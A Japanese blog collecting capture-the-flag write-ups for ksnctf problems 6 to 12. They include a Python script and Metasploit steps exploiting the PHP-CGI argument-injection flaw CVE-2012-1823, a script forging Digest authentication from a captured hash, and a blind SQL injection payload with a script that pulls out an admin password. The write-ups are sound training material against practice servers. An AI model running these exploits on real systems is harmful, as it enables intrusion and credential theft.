ksnctf #12 Hypertext Preprocessor
一ヶ月くらい論文やらなんやらで忙しくて全然更新できなかった・・・。
ksnctf - 12 Hypertext Preprocessor
Analyze
最初は時刻を表示してるのかな?と思って何回かページを更新したところ先頭の文字は変わらず、末尾だけ変化していました。
とりあえず困ったときはGoogle大先生に聞いてみようと、先頭の文字列を検索してみるとCVE-2012-1823に関する情報がたくさんヒットしました。
徳丸先生のページで詳細に解説されていました。
CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記
CGI環境においてPHPを動かしている場合、リモートからのコマンド実行を許可してしまう脆弱性のようで、クエリとして=
が含まれない場合、コマンドラインの引数としてみなされるもののようです。
以下の二つをパラメータとしてURLに含めて、実行したいコマンドをPOSTで渡すとPOSTの中身をPHPスクリプトとして実行されるとのことです。
allow_url_include=On
auto_prepend_file=php://input
Answer
実際に以下のようなコードを作成して、ディレクトリの中身を確認してみる。
#!/usr/bin/env python # coding: UTF-8 import urllib import urllib2 import requests def main(): url = 'http://ctfq.sweetduet.info:10080/~q12/index.php' code = '?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input' values = ''' <?php $res_dir = opendir( '.' ); while( $file_name = readdir( $res_dir ) ){ print "{$file_name}\n"; } closedir( $res_dir ); ?> ''' req = requests.post(url+code, data=values) print req.text if __name__ == '__main__': main()
すると、ディレクトリの中身として、
が存在していることがわかりました。
あとは、同じやり方でflag_flag_flag.txt
の中身を表示して終了です。
感想とか
今回はたまたまググって解説されてるページがあったから解くことができたけど、CVEの情報とかだけだったらかなり苦戦していたように思うので、ラッキーということで・・・。
追記(2017/6/24)
最近Metasploitに触れる機会があったので、この問題をMetasploitを使って解いてみました。
上述の通り、CVE-2012-1823の脆弱性を利用したものなので、リンク先にあるようにModuleとしてexploit/multi/http/php_cgi_arg_injection
を利用します。
exploitの際に利用するpayloadについて、Metasploit上では、shellをバインドするものや任意のコマンドを実行するが用意されていますが、うまく接続できなかったので、上述の攻略方法と同じアプローチで実施します。
つまり、任意のPHPコードを実行して、その結果をHTTPレスポンスで得ます。
そのため今回はpayloadを自身で定義できるgeneric/custom
を利用します。
また、payloadのオプションとしてファイルに書かれているpayloadを実行するPAYLOADFILE
を利用します。
今回はMetasploitと同じディレクトリ上にq12.php
というファイルを作成しました。
以下、mfsconsole上での操作になります。
msf > use exploit/multi/http/php_cgi_arg_injection msf exploit(php_cgi_arg_injection) > set RHOST ctfq.sweetduet.info RHOST => ctfq.sweetduet.info msf exploit(php_cgi_arg_injection) > set RPORT 10080 RPORT => 10080 msf exploit(php_cgi_arg_injection) > set TARGETURI /~q12.php/ TARGETURI => /~q12/ msf exploit(php_cgi_arg_injection) > check [+] ctfq.sweetduet.info:10080 The target is vulnerable. msf exploit(php_cgi_arg_injection) > set payload generic/custom payload => generic/custom msf exploit(php_cgi_arg_injection) > exploit
exploitを実行すると、HTTPリクエストが投げられるので対応するHTTPレスポンスの中身を確認すると無事FLAGゲットです。
HTTPレスポンスの中身の確認までMetasploit上でできたらよかったんだけど、使い方がわからないところがたくさんあったので今回はWiresharkでパケットの中身を確認しました。
ksnctf #11 Riddle
さぁついにやってきましたバイナリ解析。
こればっかりは普通に生活しててやったことあるって人は稀なんじゃないでしょうか・・・。
Analyze
とりあえずfile
コマンドで中身を確認してみる。
$ file Riddle.exe Riddle.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
Windows 32bit用のexeファイルであることがわかりました。
とりあえず起動してみる
Windowsマシンで実行してみるとクイズが出てきます。
Which creature in the morning goes on four feet, at noon on two, and in the evening upon three?
うーん?朝は4本足で昼は2本、夕方は3本と・・・。
ぐぐってみると有名ななぞなぞだということがわかりました。(参考:なぞなぞ - Wikipedia)
答えは人間、つまりHumanです。
2問目。
What is the largest island in the world?
世界で一番大きな島、これはもうGreenlandですね。
3問目。
Answer to the Ultimate Question of Life, The Universe, and Everything.
全く意味が分からなかったのでぐぐってみると"生命、宇宙、そして万物についての究極の疑問の答え"だそうです。(参考:生命、宇宙、そして万物についての究極の疑問の答え - Wikipedia)
なんかよくわからないですが、42が答えみたいです。詳しくは参考を見てください。
4問目。
What is the flag?
・・・はい。分かるわけ無いですよね。
ここまででわかったことは、問題文とその答え(4問目を除く)の他に正解したときは"Correct!"、間違えた時は"Wrong..."が表示されることです。
逆アセンブル
今回はIDA Proを使って逆アセンブルをしてみたいと思います。
String Windowの中に、上記で述べた問題文や出力されるダイアログの文字列があったので呼び出し元を参照してみます。
そこを起点として周りのコードを読んで見ると、(多分)以下の手順で実行されていることがわかりました。
- 入力された文字列の長さを取得する
- 取得した文字列長が解答の長さと同じかどうかを判定し、異なっていた場合"Wrong..."を出力して1.に戻る
- 入力した文字列を取得する
- 入力文字列と予め用意された数列とのXORを計算する
- XORの結果を予め用意された解答(XORの計算結果)と一致するかを判定し、異なっていた場合"Wrong..."を出力して1.に戻る
- "Correct!"を表示して次の問題へ
ここでポイントになるのが、入力文字列と予め用意された数列のXORを計算しているところです。
XORは逆計算が可能であるため、答えを計算することが可能です。
つまり、入力文字列
XOR 予め用意された数列
= 予め用意された解答のXOR値
となるので、
予め用意された数列
XOR 予め用意された解答のXOR値
= 解答
となります。
Answer
例えば1問目の"Human"が答えになる問題だと、
予め用意された数列
= 0xF9 0xB3 0x5A 0x4A 0x18
であり、
予め用意された解答のXOR値
= 0xB1 0xC6 0x37 0x2B 0x76
となるため、
上記2つのXOR値は0x48 0x75 0x6D 0x61 0x6E
となり、これを文字に変換してやると"Human"となります。
2問目以降も同様にこの方法で解答を計算することによってFLAGをゲットできます。
ksnctf #10 #!
この問題で10問目です。
ポイントも20ptで驚く程簡単な問題です。
Problem
What's this?
↓
#!/usr/bin/python
print "Hello world"
The flag is FLAG_S?????? (in capital letters).
Don't use a brute force attack :(
#!
の名前がそのままFLAGになるようです。
感想とか
ここにきてこんな簡単な問題が。。。とも思ったけど、知らなかったら一生解けないしGoogle先生は偉大だなぁと思いました。
ksnctf #9 Digest is secure!
前回はBasic認証でしたが、今回はDigest認証です。
Analyze
Wiresharkを用いて解析を行ってみます。
No.9で要求された認証に対してNo.14で認証情報を送信しています。
ここまではBasic認証のときと同じなのですが、Basic認証とDigest認証では送っている認証情報が異なります。
Digest認証
Basic認証では、認証に必要なユーザ名とパスワードを平文で送っていましたが、Digest認証ではそれらをMD5でハッシュ化して送っています。
更に、認証の際にはサーバ側から送られてくるnonce
を用いて認証情報を計算することによって同じユーザ名とパスワードでも毎回異なる値を送信することになります。
これによって、通信の盗聴や改竄、単純なリプレイ攻撃にも耐性があるのではないかと思われます。
ここで重要になってくるのは、実際に送信する認証情報の構造です。
認証情報として送信するresponse
は以下の通りです。
A1
=username
:realm
:password
A2
=HTTPのメソッド
:コンテンツのURI
response
= MD5( MD5(A1
) :nonce
:nc
:cnonce
:qop
: MD5(A2
) )
No.7で送られてきたnonce
を元にしてresponse
を計算し、No.14のように認証情報をサーバへ送ることによって認証を通過できると思います。
Answer
まずnonce
以外のnc
やcnonce
を求めるために、No.14のパケットからresponse
を取り出してみると、c3077454ecf09ecef1d6c1201038cfaf
となっていました。
ハッシュ関数として用いられているMD5は復号できる場合があるので、適当にググってみると以下のサイトで復号できました。
MD5変換(MD5),MD5逆変換(MD5Reverse)
復号前:c3077454ecf09ecef1d6c1201038cfaf
復号後:c627e19450db746b739f41b64097d449:bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b:00000001:9691c249745d94fc:auth:31e101310bc
つまり、このようになります。*1
MD5(A1 ) |
c627e19450db746b739f41b64097d449 |
---|---|
nc |
00000001 |
cnonce |
9691c249745d94fc |
qop |
auth |
MD5(A2 ) |
31e101310bc |
これらを利用して、認証情報を作成してサーバに送ってやるとFLAGをゲットできました。
#!/usr/bin/env python # coding: UTF-8 import urllib import urllib2 import md5 url = 'http://ksnctf.sweetduet.info:10080/~q9/flag.html' username = "q9" realm = "secret" nonce = "" uri = "/~q9/flag.html" algorithm = "MD5" response = "" qop = "auth" nc = "00000001" cnonce = "9691c249745d94fc" md5a1 = "c627e19450db746b739f41b64097d449" a2 = 'GET:' + uri def getNonce(): try: data = urllib2.urlopen(url) html = data.read() except urllib2.HTTPError, e: nonce = e.info()['WWW-Authenticate'].split('"')[3] return nonce def genMD5(str): return md5.new(str).hexdigest() def genResponse(nonce): response = genMD5(md5a1 + ':' + nonce + ':' + nc + ':' + cnonce + ':' + qop + ':' + genMD5(a2)) return response def genAuthorized(nonce, response): authorized = 'Digest username="' + username + '", realm="' + realm + '", nonce="' + nonce + '",uri="' + uri + '", algorithm=' + algorithm + ', response="' + response + '", qop=' + qop + ', nc=' + nc + ', cnonce="' + cnonce + '"' return authorized def main(): nonce = getNonce() response = genResponse(nonce) auth = genAuthorized(nonce, response) header = {'Authorization' : auth} req = urllib2.Request(url, None, header) try: data = urllib2.urlopen(req) html = data.read() print html except urllib2.HTTPError, e: print e.code print e.info() if __name__ == '__main__': main()
*1:ここで得たnonceは一時的に生成されたものなので認証情報を作成する上では利用できません。
ksnctf #8 Basic is secure?
この問題ではパケットの解析を行っていきます。
http://ksnctf.sweetduet.info/problem/8ksnctf - 8 Basic is secure?
Analyze
今回はWireshark(Wireshark · Go Deep.)を使ってパケットを解析してみます。
ファイルを開いた段階で、HTTP通信をしているのは分かるんですが、もう少しわかりやすくするためにhttp
でフィルタをかけています。
Wiresharkでq8.pcapを開くと以下の様な画面になります。
ここで、通信内容をまとめると以下のようになります。([S]ource, [D]estionation)
No. | 通信方向 | 内容 |
---|---|---|
7 | S -> D | コンテンツを要求 |
9 | S <- D | 認証を要求 |
13 | S -> D | コンテンツを要求(認証内容付き) |
16 | S <- D | コンテンツを返す |
24 | S -> D | favicon.icoを要求 |
26 | S <- D | Not Found |
Answer
重要なのは上4つの通信で、中でも特に重要な通信はNo.13のパケットです。
ここでは、認証要求に対して認証情報を付加したパケットを送信しているため、このパケットを解析すれば認証情報を得ることができます。
ので、No.13のパケットの中身を見てみるとCredentialsにFLAGが設定されてました。
感想とか
パケット解析はWiresharkのツールを使うことによって簡単にできるので、入門という意味ではよかったと思った。
すごい簡単な問題だなと思ってたら完全に次の問題の布石でした。。。
ksnctf #7 Programming
ちょっと忙しくて記事書く時間がなかった。。。
今回はこちらの問題を解いてみたいと思います。
Problem
http://ksnctf.sweetduet.info/q/7/program.cpp
#include
#include
int main
()
{ const char *
s =
" "
"0123456789"
" "
" "
" "
"ABCDEFGHIJ" ;
printf (
"%c" , strlen
(s)
); int i = 020000000 + 001000000 +
000600000
+000040000
- 000007000
- 000000500
- 000000020
- 000000002 ;
printf (
"%s"
,& i
)
;
long
long
l
=
2LL
*
11LL
*
229LL
*
614741LL
*
9576751LL
+
5LL
;
printf
(
"%s"
,
&
l
)
;
float
f =
1.0962664770776731080774868826855754386638240000e-38f
;
printf( "%s"
,
&f
)
;
double
d =
6.7386412564254706622868098890859398199406890000e-308
;
printf
("%s"
,&d);
}
リンク先に飛ぶと、C++のようなソースファイルが。でもものすごく汚い。
Analyze
とりあえずコンパイルして実行してみる。
$ g++ q7.cpp $ ./a.out FROG_This_is_wrong_:( $
まぁうまくいくわけがない。
ソースコードにちらほら空白が入ってるのが気になって調べてみると、Whitespaceなるものを見つけた。(参考:Whitespace - Wikipedia)
どうやら空白を用いてプログラミングを行うものらしい。
Answer
ぐぐってると、Jacascriptに変換してくれるツールを見つけたので変換してみると以下のコードが得られた。
(function (stack, heap, callStack, main, buf) { (main = function (label, end) { do switch(label) { case 0: stack.push(80); WS2JS.putc(stack.pop()); stack.push(73); WS2JS.putc(stack.pop()); stack.push(78); WS2JS.putc(stack.pop()); stack.push(58); WS2JS.putc(stack.pop()); stack.push(32); WS2JS.putc(stack.pop()); stack.push(0); WS2JS.getn(function (n) { heap[stack.pop()] = n; main(14);}); label = 2; break; case 14: stack.push(0); stack.push(heap[stack.pop()]); stack.push(33355524); stack.push(-stack.pop() + stack.pop()); if (!stack.pop()) { label = '1'; break;} stack.push(78); WS2JS.putc(stack.pop()); stack.push(79); WS2JS.putc(stack.pop()); label = 1; break; case '1': stack.push(79); WS2JS.putc(stack.pop()); stack.push(75); WS2JS.putc(stack.pop()); stack.push(10); WS2JS.putc(stack.pop()); stack.push(0); stack.push(heap[stack.pop()]); stack.push(33355454); stack.push(-stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(6); stack.push(stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(11); stack.push(-stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(6); stack.push(stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(24); stack.push(stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(26); stack.push(-stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(40); stack.push(stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(25); stack.push(-stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(36); stack.push(stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(66); stack.push(-stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(16); stack.push(stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(14); stack.push(stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(14); stack.push(stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(27); stack.push(-stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(5); stack.push(stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(29); stack.push(stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(4); stack.push(-stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(4); stack.push(stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(28); stack.push(-stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(22); stack.push(stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(34); stack.push(-stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); stack.push(55); stack.push(-stack.pop() + stack.pop()); stack.push(stack[stack.length - 1]); WS2JS.putc(stack.pop()); label = 1; break; case 1: WS2JS.onExit(); case 2: end = 1; break; default: throw new Error('Invalid label :' + label);} while (!end);})(0); })([], {}, []);
jsに書かれている通りにPINコードを入力してやるとFLAGゲット。
感想とか
これも知ってるか知らないかでかかる時間がだいぶ変わってくると思います。
まぁでも総じていえることは ぐぐるって大事 ってことかな。
ksnctf #6 Login
前回の問題はえらく簡単だったのですが、今回はちょっと知識がいりそうな問題です。
Problem
URL先に飛ぶとログインフォームがあり、"First, login as "admin"."の文字が。
adminでログインしろってことだと思うんですが、パスワードがわからん。
Answer
ポイントも120ptとそんなに高くないので、 SQLインジェクションかな?
ので、まずはパスワードの文字数を調べて行きたいと思います。
idが'admin'でかつ、passの長さが[文字数]であるものを探していきます。
admin' AND (SELECT length(pass) FROM user WHERE id='admin') = [文字数]; --
ksnctfのフラグはだいたい21文字なので(多分)、[文字数]=21にして実行すると、以下のレスポンスが得られました。
Congratulations! It's too easy? Don't worry. The flag is admin's password. Hint: <?php function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');} $id = isset($_POST['id']) ? $_POST['id'] : ''; $pass = isset($_POST['pass']) ? $_POST['pass'] : ''; $login = false; $err = ''; if ($id!=='') { $db = new PDO('sqlite:database.db'); $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'"); $login = $r && $r->fetch(); if (!$login) $err = 'Login Failed'; } ?><!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title> </head> <body> <?php if (!$login) { ?> <p> First, login as "admin". </p> <div style="font-weight:bold; color:red"> <?php echo h($err); ?> </div> <form method="POST"> <div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div> <div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div> <div><input type="submit"></div> </form> <?php } else { ?> <p> Congratulations!<br> It's too easy?<br> Don't worry.<br> The flag is admin's password.<br> <br> Hint:<br> </p> <pre><?php echo h(file_get_contents('index.php')); ?></pre> <?php } ?> </body> </html>
これで文字数はわかったので、1文字ずつパスワードを推測していきたいと思います。
substrを使うことによって、最初からn文字目までの一致を確認することができるので、総当りよりもだいぶ効率が良いです。
#!/usr/bin/env python # coding: UTF-8 import sys import urllib import urllib2 def httpRequest(id, pw): url = 'http://ctfq.sweetduet.info:10080/~q6/' req = {'id': id, 'pass': pw} params = urllib.urlencode(req) response = urllib2.urlopen(url, params) data = response.read() # print data # print len(data) return data def atkpw(plen): flag = '' for p in range(0, plen): for i in range(48, 123): char = chr(i) id = "admin' AND substr((SELECT pass FROM user WHERE id='admin'), " + str(p + 1) + ", 1) = " + "'" + char + "'" + " ; --" pw = "''" data = httpRequest(id, pw) if len(data) > 2000: print str(i) + ": " + char flag = flag + char print flag break return flag if __name__ == '__main__': plen = 21 print atkpw(plen)
これでしばらく放置すればフラグゲットです。
感想とか
SQLインジェクション自体は元々知っていたのですが、実際にやってみたのは初めてなので、いい経験になりました。